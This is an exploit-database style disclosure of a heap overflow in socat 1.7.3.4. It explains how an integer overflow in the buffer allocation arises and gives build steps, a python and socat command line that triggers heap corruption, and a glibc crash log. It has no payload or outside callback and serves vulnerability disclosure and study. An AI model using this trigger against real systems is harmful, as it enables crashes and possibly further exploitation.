Socat 1.7.3.4 – Heap-Based Overflow (PoC)
# Exploit Title: Socat 1.7.3.4 - Heap Based Overflow (PoC) # Date: 2020-02-03 # Exploit Author: hieubl from HPT Cyber Security # Vendor Homepage: http://www.dest-unreach.org/ # Software Link: http://www.dest-unreach.org/socat/ # Version: 1.7.3.4 # Tested on: Ubuntu 16.04.6 LTS # CVE : # Heap-Based Overflow due to Integer Overflow and Lack of PIE mitigation (PoC) ------- [***Description***] ------- The source code of socat.c contains _socat() function which has the Integer Overflow vulnerability: int _socat(void) { ... unsigned char *buff; ... buff = Malloc(2*socat_opts.bufsiz+1) ... } After that, the the line of code "if ((bytes2 = xiotransfer(sock2, sock1, &buff, socat_opts.bufsiz, true)) < 0) {" calls the xiotransfer() function. The xiotransfer() function calls xioread() function. Finally xioread() function calls Read() function. ssize_t xioread(xiofile_t *file, void *buff, size_t bufsiz) { ... Read(pipe->fd, buff, bufsiz); //[***!!!This line of code leads to Heap-Based Overflow vulnerability***!!!] ... } In addition, the "Makefile" file does not turn on the Position Independent Executables (PIE) mitigation (the CFLAGS does not contains "-pie" flag). By default, Ubuntu 16.04 does not turn on this mitigation. Consequently, it is easier to exploit the program, may even lead to Remode Code Execution (RCE). Reference: https://hackerone.com/reports/415272, $100 bounty for Linux Desktop application slack executable does not use pie / no ASLR ------- [***Download and build***] ------- Download link: http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz $ tar xzvf socat-1.7.3.4.tar.gz $ cd socat-1.7.3.4/ $ ./configure Modify "Makefile" file: "CFLAGS = -g -O -D_GNU_SOURCE -Wall -Wno-parentheses $(CCOPTS) $(DEFS) $(CPPFLAGS)" (add "-g" flag for debugging purpose) $ make $ sudo make install ------- [***Proof of Concept***] ------- $ checksec socat [*] '/home/natsu/temp/socat-1.7.3.4/socat' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled >>> There is no PIE mitigation! $ python -c 'print "A"*1000000' > a $ touch b $ socat -b9223372036854775888 OPEN:a,readbytes=1000000 OPEN:b,readbytes=1000000 This proof of concept triggers the bugs by setting the buffer size to 0x8000000000000050(9223372036854775888 in decimal). Therefore, the malloc size is passed to "Malloc(2*socat_opts.bufsiz+1)" is 0x100000000000000a0. This is equivalent to Malloc(0xa0). The readbytes("readbytes=1000000") controls the size of reading (we cannot read with the size too large as 0x8000000000000050) with these lines of code: if (pipe->readbytes) { if (pipe->actbytes == 0) { return 0; } if (pipe->actbytes < bufsiz) { bufsiz = pipe->actbytes; } } ------- [***Crash logs***] ------- *** Error in `socat': free(): invalid next size (normal): 0x000000000106a110 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fc0ee5817e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fc0ee58a37a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fc0ee58e53c] socat[0x407e3f] socat[0x4084c6] socat[0x408f7a] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fc0ee52a830] socat[0x4057a9] ======= Memory map: ======== 00400000-0044a000 r-xp 00000000 08:01 655643 /usr/local/bin/socat 00649000-0064a000 r--p 00049000 08:01 655643 /usr/local/bin/socat 0064a000-0064b000 rw-p 0004a000 08:01 655643 /usr/local/bin/socat 0064b000-0068c000 rw-p 00000000 00:00 0 01069000-0108a000 rw-p 00000000 00:00 0 [heap] 7fc0e8000000-7fc0e8021000 rw-p 00000000 00:00 0 7fc0e8021000-7fc0ec000000 ---p 00000000 00:00 0 7fc0eded3000-7fc0edee9000 r-xp 00000000 08:01 397801 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fc0edee9000-7fc0ee0e8000 ---p 00016000 08:01 397801 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fc0ee0e8000-7fc0ee0e9000 rw-p 00015000 08:01 397801 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fc0ee0e9000-7fc0ee0ec000 r-xp 00000000 08:01 397787 /lib/x86_64-linux-gnu/libdl-2.23.so 7fc0ee0ec000-7fc0ee2eb000 ---p 00003000 08:01 397787 /lib/x86_64-linux-gnu/libdl-2.23.so 7fc0ee2eb000-7fc0ee2ec000 r--p 00002000 08:01 397787 /lib/x86_64-linux-gnu/libdl-2.23.so 7fc0ee2ec000-7fc0ee2ed000 rw-p 00003000 08:01 397787 /lib/x86_64-linux-gnu/libdl-2.23.so 7fc0ee2ed000-7fc0ee305000 r-xp 00000000 08:01 397909 /lib/x86_64-linux-gnu/libpthread-2.23.so 7fc0ee305000-7fc0ee504000 ---p 00018000 08:01 397909 /lib/x86_64-linux-gnu/libpthread-2.23.so 7fc0ee504000-7fc0ee505000 r--p 00017000 08:01 397909 /lib/x86_64-linux-gnu/libpthread-2.23.so 7fc0ee505000-7fc0ee506000 rw-p 00018000 08:01 397909 /lib/x86_64-linux-gnu/libpthread-2.23.so 7fc0ee506000-7fc0ee50a000 rw-p 00000000 00:00 0 7fc0ee50a000-7fc0ee6ca000 r-xp 00000000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so 7fc0ee6ca000-7fc0ee8ca000 ---p 001c0000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so 7fc0ee8ca000-7fc0ee8ce000 r--p 001c0000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so 7fc0ee8ce000-7fc0ee8d0000 rw-p 001c4000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so 7fc0ee8d0000-7fc0ee8d4000 rw-p 00000000 00:00 0 7fc0ee8d4000-7fc0eeaef000 r-xp 00000000 08:01 397619 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 7fc0eeaef000-7fc0eecee000 ---p 0021b000 08:01 397619 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 7fc0eecee000-7fc0eed0a000 r--p 0021a000 08:01 397619 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 7fc0eed0a000-7fc0eed16000 rw-p 00236000 08:01 397619 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 7fc0eed16000-7fc0eed19000 rw-p 00000000 00:00 0 7fc0eed19000-7fc0eed77000 r-xp 00000000 08:01 397620 /lib/x86_64-linux-gnu/libssl.so.1.0.0 7fc0eed77000-7fc0eef77000 ---p 0005e000 08:01 397620 /lib/x86_64-linux-gnu/libssl.so.1.0.0 7fc0eef77000-7fc0eef7b000 r--p 0005e000 08:01 397620 /lib/x86_64-linux-gnu/libssl.so.1.0.0 7fc0eef7b000-7fc0eef82000 rw-p 00062000 08:01 397620 /lib/x86_64-linux-gnu/libssl.so.1.0.0 7fc0eef82000-7fc0eef84000 r-xp 00000000 08:01 397944 /lib/x86_64-linux-gnu/libutil-2.23.so 7fc0eef84000-7fc0ef183000 ---p 00002000 08:01 397944 /lib/x86_64-linux-gnu/libutil-2.23.so 7fc0ef183000-7fc0ef184000 r--p 00001000 08:01 397944 /lib/x86_64-linux-gnu/libutil-2.23.so 7fc0ef184000-7fc0ef185000 rw-p 00002000 08:01 397944 /lib/x86_64-linux-gnu/libutil-2.23.so 7fc0ef185000-7fc0ef18c000 r-xp 00000000 08:01 397917 /lib/x86_64-linux-gnu/librt-2.23.so 7fc0ef18c000-7fc0ef38b000 ---p 00007000 08:01 397917 /lib/x86_64-linux-gnu/librt-2.23.so 7fc0ef38b000-7fc0ef38c000 r--p 00006000 08:01 397917 /lib/x86_64-linux-gnu/librt-2.23.so 7fc0ef38c000-7fc0ef38d000 rw-p 00007000 08:01 397917 /lib/x86_64-linux-gnu/librt-2.23.so 7fc0ef38d000-7fc0ef3b3000 r-xp 00000000 08:01 397735 /lib/x86_64-linux-gnu/ld-2.23.so 7fc0ef594000-7fc0ef59a000 rw-p 00000000 00:00 0 7fc0ef5b1000-7fc0ef5b2000 rw-p 00000000 00:00 0 7fc0ef5b2000-7fc0ef5b3000 r--p 00025000 08:01 397735 /lib/x86_64-linux-gnu/ld-2.23.so 7fc0ef5b3000-7fc0ef5b4000 rw-p 00026000 08:01 397735 /lib/x86_64-linux-gnu/ld-2.23.so 7fc0ef5b4000-7fc0ef5b5000 rw-p 00000000 00:00 0 7ffe11dd9000-7ffe11dfa000 rw-p 00000000 00:00 0 [stack] 7ffe11dfb000-7ffe11dfe000 r--p 00000000 00:00 0 [vvar] 7ffe11dfe000-7ffe11e00000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 2020/02/04 05:33:00 socat[47233] E exiting on signal 6 |